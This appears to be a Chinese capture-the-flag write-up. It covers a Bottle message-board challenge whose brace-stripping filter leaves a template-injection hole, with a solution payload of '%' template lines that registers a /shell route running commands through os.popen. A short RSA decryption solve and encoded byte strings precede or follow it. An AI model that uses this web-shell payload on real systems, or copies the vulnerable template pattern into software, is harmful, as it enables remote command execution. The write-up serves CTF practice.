a=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab&b=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%5f%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%f3%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%e9%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%13%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%a8%1b%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%39%05%39%95%ab
Message in a Bottle
SimpleTemplate 模板引擎 — Bottle 0.13-dev 文档
Bottle 框架的
给了附件📎
from bottle import Bottle, request, template, run
app = Bottle()
# 存储留言的列表
messages = []
def handle_message(message):
message_items = "".join([f"""
<div class="message-card">
<div class="message-content">{msg}</div>
<small class="message-time">#{idx + 1} - 刚刚</small>
</div>
""" for idx, msg in enumerate(message)])
board = f"""<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>简约留言板</title>
<link href="https://cdn.bootcdn.net/ajax/libs/twitter-bootstrap/5.1.3/css/bootstrap.min.css" rel="stylesheet">
<style>
:root {{
--primary-color: #4a90e2;
--hover-color: #357abd;
--background-color: #f8f9fa;
--card-background: #ffffff;
--shadow-color: rgba(0, 0, 0, 0.1);
}}
body {{
background: var(--background-color);
min-height: 100vh;
padding: 2rem 0;
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
}}
.container {{
max-width: 800px;
background: var(--card-background);
border-radius: 15px;
box-shadow: 0 4px 6px var(--shadow-color);
padding: 2rem;
margin-top: 2rem;
animation: fadeIn 0.5s ease-in-out;
}}
@keyframes fadeIn {{
from {{ opacity: 0; transform: translateY(20px); }}
to {{ opacity: 1; transform: translateY(0); }}
}}
.message-card {{
background: var(--card-background);
border-radius: 10px;
padding: 1.5rem;
margin: 1rem 0;
transition: all 0.3s ease;
border-left: 4px solid var(--primary-color);
box-shadow: 0 2px 4px var(--shadow-color);
}}
.message-card:hover {{
transform: translateX(10px);
box-shadow: 0 4px 8px var(--shadow-color);
}}
.message-content {{
font-size: 1.1rem;
color: #333;
line-height: 1.6;
margin-bottom: 0.5rem;
}}
.message-time {{
color: #6c757d;
font-size: 0.9rem;
display: block;
margin-top: 0.5rem;
}}
textarea {{
width: 100%;
height: 120px;
padding: 1rem;
border: 2px solid #e9ecef;
border-radius: 10px;
resize: vertical;
font-size: 1rem;
transition: border-color 0.3s ease;
}}
textarea:focus {{
border-color: var(--primary-color);
outline: none;
box-shadow: 0 0 0 3px rgba(74, 144, 226, 0.1);
}}
.btn-custom {{
background: var(--primary-color);
color: white;
padding: 0.8rem 2rem;
border-radius: 10px;
border: none;
transition: all 0.3s ease;
font-weight: 500;
text-transform: uppercase;
letter-spacing: 0.05rem;
}}
.btn-custom:hover {{
background: var(--hover-color);
transform: translateY(-2px);
box-shadow: 0 4px 8px var(--shadow-color);
}}
h1 {{
color: var(--primary-color);
text-align: center;
margin-bottom: 2rem;
font-weight: 600;
font-size: 2.5rem;
text-shadow: 2px 2px 4px var(--shadow-color);
}}
.btn-danger {{
transition: all 0.3s ease;
padding: 0.6rem 1.5rem;
border-radius: 10px;
text-transform: uppercase;
letter-spacing: 0.05rem;
}}
.btn-danger:hover {{
transform: translateY(-2px);
box-shadow: 0 4px 8px var(--shadow-color);
}}
.text-muted {{
font-style: italic;
color: #6c757d !important;
}}
@media (max-width: 576px) {{
h1 {{
font-size: 2rem;
}}
.container {{
padding: 1.5rem;
}}
.message-card {{
padding: 1rem;
}}
}}
</style>
</head>
<body>
<div class="container">
<div class="d-flex justify-content-between align-items-center mb-4">
<h1 class="mb-0">📝 简约留言板</h1>
<a
href="/Clean"
class="btn btn-danger"
onclick="return confirm('确定要清空所有留言吗?此操作不可恢复!')"
>
🗑️ 一键清理
</a>
</div>
<form action="/submit" method="post">
<textarea
name="message"
placeholder="输入payload暴打出题人"
required
></textarea>
<div class="d-grid gap-2">
<button type="submit" class="btn-custom">发布留言</button>
</div>
</form>
<div class="message-list mt-4">
<div class="d-flex justify-content-between align-items-center mb-3">
<h4 class="mb-0">最新留言({len(message)}条)</h4>
{f'<small class="text-muted">点击右侧清理按钮可清空列表</small>' if message else ''}
</div>
{message_items}
</div>
</div>
</body>
</html>"""
return board
def waf(message):
return message.replace("{", "").replace("}", "")
@app.route('/')
def index():
return template(handle_message(messages))
@app.route('/Clean')
def Clean():
global messages
messages = []
return '<script>window.location.href="/"</script>'
@app.route('/submit', method='POST')
def submit():
message = waf(request.forms.get('message'))
messages.append(message)
return template(handle_message(messages))
if __name__ == '__main__':
run(app, host='localhost', port=9000)
过滤了 {
,}
但是 %
前面必须是空白符号,那
% from bottle import Bottle,request
% app=__import__('sys').modules['__main__'].__dict__['app']
% app.route("/shell","GET",lambda :__import__('os').popen(request.params.get('cmd')).read())
访问 shell 命令执行
Cryto
1
from Crypto.Util.number import *
# 已知的值
n = 2741832985459799195551463586200496171706401045582705736390510500694289553647578857170635209048629428396407631873312962021354740290808869502374444435394061448767702908255197762575345798570340246369827688321483639197634802985398882606068294663625992927239602442735647762662536456784313240499437659967114509197846086151042512153782486075793224874304872205720564733574010669935992016367832666397263951446340260962650378484847385424893514879629196181114844346169851383460163815147712907264437435463059397586675769959094397311450861780912636566993749356097243760640620004707428340786147078475120876426087835327094386842765660642186546472260607586011343238080538092580452700406255443887820337778505999803772196923996033929998741437250238302626841957729397241851219567703420968177784088484002831289722211924810899441563382481216744212304879717297444824808184727136770899310815544776369231934774967139834384853322157766059825736075553
phi = 2741832985459799195551463586200496171706401045582705736390510500694289553647578857170635209048629428396407631873312962021354740290808869502374444435394061448767702908255197762575345798570340246369827688321483639197634802985398882606068294663625992927239602442735647762662536456784313240499437659967114509197784246608456057052779643060628984335578973450260519106769911425793594847759982583376628098472390090331415895352869275325656949958242181688663465437185437198392460569653734315961071709533645370007008616755547195108861900432818710027794402838336405197750190466425895582236209479543326147804766393022786785337752319686125574507066082357748118175068545756301823381723776525427724798780890160482013759497102382173931716030992837059880049832065500252713739288235410544982532170147652055063681116147027591678349638753796122845041417275362394757384204924094885233281257928031484806977974575497621444483701792085077113227851520
c = 2675023626005191241628571734421094007494866451142251352071850033504791090546156004348738217761733467156596330653396106482342801412567035848069931148880296036606611571818493841795682186933874790388789734748415540102210757974884805905578650801916130709273985096229857987312816790471330181166965876955546627327549473645830218664078284830699777113214559053294592015697007540297033755845037866295098660371843447432672454589238297647906075964139778749351627739005675106752803394387612753005638224496040203274119150075266870378506841838513636541340104864561937527329845541975189814018246183215952285198950920021711141273569490277643382722047159198943471946774301837440950402563578645113393610924438585345876355654972759318203702572517614743063464534582417760958462550905093489838646250677941813170355212088529993225869303917882372480469839803533981671743959732373159808299457374754090436951368378994871937358645247263240789585351233
e = 65537
# 计算私钥d
d = pow(e, -1, phi)
# 解密消息
m = pow(c, d, n)
# 将数字转换回字节
flag = long_to_bytes(m)
print(flag.decode())
--->
[Running] python -u "g:\down\demo\demo.py"
NSSCTF{W0W!!_Y0u_4r3_g00d_G03!!!}